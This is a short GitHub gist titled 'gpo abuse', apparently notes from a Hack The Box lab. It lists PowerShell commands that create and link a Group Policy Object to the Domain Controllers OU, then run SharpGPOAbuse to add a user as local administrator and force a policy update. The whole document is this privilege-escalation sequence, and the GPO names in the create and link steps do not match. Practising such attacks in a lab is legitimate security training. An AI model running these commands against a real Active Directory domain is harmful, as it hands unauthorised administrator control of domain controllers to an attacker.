Skip to content

Instantly share code, notes, and snippets.

@shollingsworth
Created February 10, 2022 01:55
Show Gist options
  • Save shollingsworth/3e2cc181878030591da366848d6c7c16 to your computer and use it in GitHub Desktop.
Save shollingsworth/3e2cc181878030591da366848d6c7c16 to your computer and use it in GitHub Desktop.
gpo abuse
New-GPO -Name wtfgpo -Comment "This is a test GPO"
New-GPLink -Name stev0 -Target "OU=Domain Controllers,DC=TEIGNTON,DC=HTB" -LinkEnabled Yes
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jay.teignton --gponame stev0
gpupdate /force
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment